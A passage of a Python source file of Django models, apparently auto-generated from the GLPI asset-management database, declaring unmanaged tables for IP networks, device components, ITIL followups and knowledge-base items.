models.CharField(max_length=255) items_id = models.IntegerField() parent_id = models.IntegerField() impactcontexts_id = models.IntegerField() is_slave = models.IntegerField() class Meta: managed = False db_table = 'glpi_impactitems' unique_together = ('itemtype', 'items_id') class GlpiImpactrelations(models.Model): id = models.IntegerField(primary_key=True) itemtype_source = models.CharField(max_length=255) items_id_source = models.IntegerField() itemtype_impacted = models.CharField(max_length=255) items_id_impacted = models.IntegerField() class Meta: managed = False db_table = 'glpi_impactrelations' unique_together = (('itemtype_source', 'items_id_source', 'itemtype_impacted', 'items_id_impacted'),) class GlpiInfocoms(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=100) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() buy_date = models.DateField(blank=True, null=True) use_date = models.DateField(blank=True, null=True) warranty_duration = models.IntegerField() warranty_info = models.CharField(max_length=255, blank=True, null=True) suppliers = models.ForeignKey('GlpiSuppliers', on_delete=models.PROTECT) order_number = models.CharField(max_length=255, blank=True, null=True) delivery_number = models.CharField(max_length=255, blank=True, null=True) immo_number = models.CharField(max_length=255, blank=True, null=True) value = models.DecimalField(max_digits=20, decimal_places=4) warranty_value = models.DecimalField(max_digits=20, decimal_places=4) sink_time = models.IntegerField() sink_type = models.IntegerField() sink_coeff = models.FloatField() comment = models.TextField(blank=True, null=True) bill = models.CharField(max_length=255, blank=True, null=True) budgets = models.ForeignKey('GlpiBudgets', on_delete=models.PROTECT) alert = models.IntegerField() order_date = models.DateField(blank=True, null=True) delivery_date = models.DateField(blank=True, null=True) inventory_date = models.DateField(blank=True, null=True) warranty_date = models.DateField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) decommission_date = models.DateTimeField(blank=True, null=True) businesscriticities = models.ForeignKey('GlpiBusinesscriticities', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_infocoms' unique_together = (('itemtype', 'items_id'),) class GlpiInterfacetypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_interfacetypes' class GlpiIpaddresses(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) items_id = models.IntegerField() itemtype = models.CharField(max_length=100) version = models.PositiveIntegerField(blank=True, null=True) name = models.CharField(max_length=255, blank=True, null=True) binary_0 = models.PositiveIntegerField() binary_1 = models.PositiveIntegerField() binary_2 = models.PositiveIntegerField() binary_3 = models.PositiveIntegerField() is_deleted = models.IntegerField() is_dynamic = models.IntegerField() mainitems_id = models.IntegerField() mainitemtype = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_ipaddresses' class GlpiIpaddressesIpnetworks(models.Model): id = models.IntegerField(primary_key=True) ipaddresses = models.ForeignKey('GlpiIpaddresses', on_delete=models.PROTECT) ipnetworks = models.ForeignKey('GlpiNetworks', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_ipaddresses_ipnetworks' unique_together = ('ipaddresses', 'ipnetworks') class GlpiIpnetworks(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() ipnetworks = models.ForeignKey('GlpiNetworks', on_delete=models.PROTECT) completename = models.TextField(blank=True, null=True) level = models.IntegerField() ancestors_cache = models.TextField(blank=True, null=True) sons_cache = models.TextField(blank=True, null=True) addressable = models.IntegerField() version = models.PositiveIntegerField(blank=True, null=True) name = models.CharField(max_length=255, blank=True, null=True) address = models.CharField(max_length=40, blank=True, null=True) address_0 = models.PositiveIntegerField() address_1 = models.PositiveIntegerField() address_2 = models.PositiveIntegerField() address_3 = models.PositiveIntegerField() netmask = models.CharField(max_length=40, blank=True, null=True) netmask_0 = models.PositiveIntegerField() netmask_1 = models.PositiveIntegerField() netmask_2 = models.PositiveIntegerField() netmask_3 = models.PositiveIntegerField() gateway = models.CharField(max_length=40, blank=True, null=True) gateway_0 = models.PositiveIntegerField() gateway_1 = models.PositiveIntegerField() gateway_2 = models.PositiveIntegerField() gateway_3 = models.PositiveIntegerField() comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_ipnetworks' class GlpiIpnetworksVlans(models.Model): id = models.IntegerField(primary_key=True) ipnetworks = models.ForeignKey('GlpiNetworks', on_delete=models.PROTECT) vlans = models.ForeignKey('GlpiVlans', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_ipnetworks_vlans' unique_together = ('ipnetworks', 'vlans') class GlpiItemsClusters(models.Model): id = models.IntegerField(primary_key=True) clusters = models.ForeignKey('GlpiClusters', on_delete=models.PROTECT) itemtype = models.CharField(max_length=100, blank=True, null=True) items_id = models.IntegerField() class Meta: managed = False db_table = 'glpi_items_clusters' unique_together = ('clusters', 'itemtype', 'items_id') class GlpiItemsDevicebatteries(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) devicebatteries = models.ForeignKey('GlpiDevicebatteries', on_delete=models.PROTECT) manufacturing_date = models.DateField(blank=True, null=True) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_devicebatteries' class GlpiItemsDevicecases(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) devicecases = models.ForeignKey('GlpiDevicecases', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_devicecases' class GlpiItemsDevicecontrols(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) devicecontrols = models.ForeignKey('GlpiDevicecontrols', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) busid = models.CharField(db_column='busID', max_length=255, blank=True, null=True) # Field name made lowercase. otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_devicecontrols' class GlpiItemsDevicedrives(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) devicedrives = models.ForeignKey('GlpiDevicedrives', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) busid = models.CharField(db_column='busID', max_length=255, blank=True, null=True) # Field name made lowercase. otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_devicedrives' class GlpiItemsDevicefirmwares(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) devicefirmwares = models.ForeignKey('GlpiDevicefirmwares', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_devicefirmwares' class GlpiItemsDevicegenerics(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) devicegenerics = models.ForeignKey('GlpiDevicegenerics', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_devicegenerics' class GlpiItemsDevicegraphiccards(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) devicegraphiccards = models.ForeignKey('GlpiDevicegraphiccards', on_delete=models.PROTECT) memory = models.IntegerField() is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) busid = models.CharField(db_column='busID', max_length=255, blank=True, null=True) # Field name made lowercase. otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_devicegraphiccards' class GlpiItemsDeviceharddrives(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) deviceharddrives = models.ForeignKey('GlpiDeviceharddrives', on_delete=models.PROTECT) capacity = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() busid = models.CharField(db_column='busID', max_length=255, blank=True, null=True) # Field name made lowercase. otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_deviceharddrives' class GlpiItemsDevicememories(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) devicememories = models.ForeignKey('GlpiDevicememories', on_delete=models.PROTECT) size = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() busid = models.CharField(db_column='busID', max_length=255, blank=True, null=True) # Field name made lowercase. otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_devicememories' class GlpiItemsDevicemotherboards(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) devicemotherboards = models.ForeignKey('GlpiDevicemotherboards', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_devicemotherboards' class GlpiItemsDevicenetworkcards(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) devicenetworkcards = models.ForeignKey('GlpiDevicenetworkcards', on_delete=models.PROTECT) mac = models.CharField(max_length=255, blank=True, null=True) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) busid = models.CharField(db_column='busID', max_length=255, blank=True, null=True) # Field name made lowercase. otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_devicenetworkcards' class GlpiItemsDevicepcis(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) devicepcis = models.ForeignKey('GlpiDevicepcis', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) busid = models.CharField(db_column='busID', max_length=255, blank=True, null=True) # Field name made lowercase. otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_devicepcis' class GlpiItemsDevicepowersupplies(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) devicepowersupplies = models.ForeignKey('GlpiDevicepowersupplies', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_devicepowersupplies' class GlpiItemsDeviceprocessors(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) deviceprocessors = models.ForeignKey('GlpiDeviceprocessors', on_delete=models.PROTECT) frequency = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() nbcores = models.IntegerField(blank=True, null=True) nbthreads = models.IntegerField(blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() busid = models.CharField(db_column='busID', max_length=255, blank=True, null=True) # Field name made lowercase. otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_deviceprocessors' class GlpiItemsDevicesensors(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) devicesensors = models.ForeignKey('GlpiDevicesensors', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_devicesensors' class GlpiItemsDevicesimcards(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=100) devicesimcards = models.ForeignKey('GlpiDevicesimcards', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) lines = models.ForeignKey('GlpiLines', on_delete=models.PROTECT) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) pin = models.CharField(max_length=255) pin2 = models.CharField(max_length=255) puk = models.CharField(max_length=255) puk2 = models.CharField(max_length=255) msin = models.CharField(max_length=255) class Meta: managed = False db_table = 'glpi_items_devicesimcards' class GlpiItemsDevicesoundcards(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) devicesoundcards = models.ForeignKey('GlpiDevicesoundcards', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() serial = models.CharField(max_length=255, blank=True, null=True) busid = models.CharField(db_column='busID', max_length=255, blank=True, null=True) # Field name made lowercase. otherserial = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_devicesoundcards' class GlpiItemsDisks(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) itemtype = models.CharField(max_length=255, blank=True, null=True) items_id = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) device = models.CharField(max_length=255, blank=True, null=True) mountpoint = models.CharField(max_length=255, blank=True, null=True) filesystems = models.ForeignKey('GlpiFilesystems', on_delete=models.PROTECT) totalsize = models.IntegerField() freesize = models.IntegerField() is_deleted = models.IntegerField() is_dynamic = models.IntegerField() encryption_status = models.IntegerField() encryption_tool = models.CharField(max_length=255, blank=True, null=True) encryption_algorithm = models.CharField(max_length=255, blank=True, null=True) encryption_type = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_items_disks' class GlpiItemsEnclosures(models.Model): id = models.IntegerField(primary_key=True) enclosures = models.ForeignKey('GlpiEnclosures', on_delete=models.PROTECT) itemtype = models.CharField(max_length=255) items_id = models.IntegerField() position = models.IntegerField() class Meta: managed = False db_table = 'glpi_items_enclosures' unique_together = (('itemtype', 'items_id'),) class GlpiItemsKanbans(models.Model): id = models.IntegerField(primary_key=True) itemtype = models.CharField(max_length=100) items_id = models.IntegerField(blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) state = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_items_kanbans' unique_together = ('itemtype', 'items_id', 'users') class GlpiItemsOperatingsystems(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=255, blank=True, null=True) operatingsystems = models.ForeignKey('GlpiOperatingsystems', on_delete=models.PROTECT) operatingsystemversions = models.ForeignKey('GlpiOperatingsystemversions', on_delete=models.PROTECT) operatingsystemservicepacks = models.ForeignKey('GlpiOperatingsystemservicepacks', on_delete=models.PROTECT) operatingsystemarchitectures = models.ForeignKey('GlpiOperatingsystemarchitectures', on_delete=models.PROTECT) operatingsystemkernelversions = models.ForeignKey('GlpiOperatingsystemkernelversions', on_delete=models.PROTECT) license_number = models.CharField(max_length=255, blank=True, null=True) licenseid = models.CharField(max_length=255, blank=True, null=True) operatingsystemeditions_id = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_items_operatingsystems' unique_together = ('items_id', 'itemtype', 'operatingsystems', 'operatingsystemarchitectures') class GlpiItemsProblems(models.Model): id = models.IntegerField(primary_key=True) problems = models.ForeignKey('GlpiProblems', on_delete=models.PROTECT) itemtype = models.CharField(max_length=100, blank=True, null=True) items_id = models.IntegerField() class Meta: managed = False db_table = 'glpi_items_problems' unique_together = ('problems', 'itemtype', 'items_id') class GlpiItemsProjects(models.Model): id = models.IntegerField(primary_key=True) projects = models.ForeignKey('GlpiProjects', on_delete=models.PROTECT) itemtype = models.CharField(max_length=100, blank=True, null=True) items_id = models.IntegerField() class Meta: managed = False db_table = 'glpi_items_projects' unique_together = ('projects', 'itemtype', 'items_id') class GlpiItemsRacks(models.Model): id = models.IntegerField(primary_key=True) racks = models.ForeignKey('GlpiRacks', on_delete=models.PROTECT) itemtype = models.CharField(max_length=255) items_id = models.IntegerField() position = models.IntegerField() orientation = models.IntegerField(blank=True, null=True) bgcolor = models.CharField(max_length=7, blank=True, null=True) hpos = models.IntegerField() is_reserved = models.IntegerField() class Meta: managed = False db_table = 'glpi_items_racks' unique_together = ('itemtype', 'items_id', 'is_reserved') class GlpiItemsSoftwarelicenses(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=100) softwarelicenses = models.ForeignKey('GlpiSoftwarelicenses', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() class Meta: managed = False db_table = 'glpi_items_softwarelicenses' class GlpiItemsSoftwareversions(models.Model): id = models.IntegerField(primary_key=True) items_id = models.IntegerField() itemtype = models.CharField(max_length=100) softwareversions = models.ForeignKey('GlpiSoftwareversions', on_delete=models.PROTECT) is_deleted_item = models.IntegerField() is_template_item = models.IntegerField() entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_deleted = models.IntegerField() is_dynamic = models.IntegerField() date_install = models.DateField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_items_softwareversions' unique_together = ('itemtype', 'items_id', 'softwareversions') class GlpiItemsTickets(models.Model): id = models.IntegerField(primary_key=True) itemtype = models.CharField(max_length=255, blank=True, null=True) items_id = models.IntegerField() tickets = models.ForeignKey('GlpiTickets', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_items_tickets' unique_together = ('itemtype', 'items_id', 'tickets') class GlpiItilcategories(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() itilcategories = models.ForeignKey('GlpiItilcategories', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) completename = models.TextField(blank=True, null=True) comment = models.TextField(blank=True, null=True) level = models.IntegerField() knowbaseitemcategories = models.ForeignKey('GlpiKnowbaseitemcategories', on_delete=models.PROTECT) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) code = models.CharField(max_length=255, blank=True, null=True) ancestors_cache = models.TextField(blank=True, null=True) sons_cache = models.TextField(blank=True, null=True) is_helpdeskvisible = models.IntegerField() tickettemplates_id_incident = models.IntegerField() tickettemplates_id_demand = models.IntegerField() changetemplates = models.ForeignKey('GlpiChangetemplates', on_delete=models.PROTECT) problemtemplates = models.ForeignKey('GlpiProblemtemplates', on_delete=models.PROTECT) is_incident = models.IntegerField() is_request = models.IntegerField() is_problem = models.IntegerField() is_change = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_itilcategories' class GlpiItilfollowups(models.Model): id = models.IntegerField(primary_key=True) itemtype = models.CharField(max_length=100) items_id = models.IntegerField() date = models.DateTimeField(blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) users_id_editor = models.IntegerField() content = models.TextField(blank=True, null=True) is_private = models.IntegerField() requesttypes = models.ForeignKey('GlpiRequesttypes', on_delete=models.PROTECT) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) timeline_position = models.IntegerField() sourceitems_id = models.IntegerField() sourceof_items_id = models.IntegerField() class Meta: managed = False db_table = 'glpi_itilfollowups' class GlpiItilfollowuptemplates(models.Model): id = models.IntegerField(primary_key=True) date_creation = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) content = models.TextField(blank=True, null=True) requesttypes = models.ForeignKey('GlpiRequesttypes', on_delete=models.PROTECT) is_private = models.IntegerField() comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_itilfollowuptemplates' class GlpiItilsProjects(models.Model): id = models.IntegerField(primary_key=True) itemtype = models.CharField(max_length=100) items_id = models.IntegerField() projects = models.ForeignKey('GlpiProjects', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_itils_projects' unique_together = ('itemtype', 'items_id', 'projects') class GlpiItilsolutions(models.Model): id = models.IntegerField(primary_key=True) itemtype = models.CharField(max_length=100) items_id = models.IntegerField() solutiontypes = models.ForeignKey('GlpiSolutiontypes', on_delete=models.PROTECT) solutiontype_name = models.CharField(max_length=255, blank=True, null=True) content = models.TextField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_approval = models.DateTimeField(blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) user_name = models.CharField(max_length=255, blank=True, null=True) users_id_editor = models.IntegerField() users_id_approval = models.IntegerField() user_name_approval = models.CharField(max_length=255, blank=True, null=True) status = models.IntegerField() itilfollowups = models.ForeignKey('GlpiItilfollowups', on_delete=models.SET_NULL, blank=True, null=True) class Meta: managed = False db_table = 'glpi_itilsolutions' class GlpiKnowbaseitemcategories(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() knowbaseitemcategories = models.ForeignKey('GlpiKnowbaseitemcategories', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) completename = models.TextField(blank=True, null=True) comment = models.TextField(blank=True, null=True) level = models.IntegerField() sons_cache = models.TextField(blank=True, null=True) ancestors_cache = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_knowbaseitemcategories' unique_together = ('entities', 'knowbaseitemcategories', 'name') class GlpiKnowbaseitems(models.Model): id = models.IntegerField(primary_key=True) knowbaseitemcategories = models.ForeignKey('GlpiKnowbaseitemcategories', on_delete=models.PROTECT) name = models.TextField(blank=True, null=True) answer = models.TextField(blank=True, null=True) is_faq = models.IntegerField() users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) view = models.IntegerField() date = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) begin_date = models.DateTimeField(blank=True, null=True) end_date = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_knowbaseitems' class GlpiKnowbaseitemsComments(models.Model): id = models.IntegerField(primary_key=True) knowbaseitems = models.ForeignKey('GlpiKnowbaseitems', on_delete=models.PROTECT) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) language = models.CharField(max_length=10, blank=True, null=True) comment = models.TextField() parent_comment_id = models.IntegerField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_knowbaseitems_comments' class GlpiKnowbaseitemsItems(models.Model): id = models.IntegerField(primary_key=True) knowbaseitems = models.ForeignKey('GlpiKnowbaseitems', on_delete=models.PROTECT) itemtype = models.CharField(max_length=100) items_id = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_knowbaseitems_items' unique_together = ('itemtype', 'items_id', 'knowbaseitems') class GlpiKnowbaseitemsProfiles(models.Model): id = models.IntegerField(primary_key=True) knowbaseitems = models.ForeignKey('GlpiKnowbaseitems', on_delete=models.PROTECT) profiles = models.ForeignKey('GlpiProfiles', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() class Meta: managed = False db_table = 'glpi_knowbaseitems_profiles' class GlpiKnowbaseitemsRevisions(models.Model): id = models.IntegerField(primary_key=True) knowbaseitems = models.ForeignKey('GlpiKnowbaseitems', on_delete=models.PROTECT) revision = models.IntegerField() name = models.TextField(blank=True, null=True) answer = models.TextField(blank=True, null=True) language = models.CharField(max_length=10, blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_knowbaseitems_revisions' unique_together = ('knowbaseitems', 'revision', 'language') class GlpiKnowbaseitemsUsers(models.Model): id = models.IntegerField(primary_key=True) knowbaseitems = models.ForeignKey('GlpiKnowbaseitems', on_delete=models.PROTECT) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_knowbaseitems_users' class 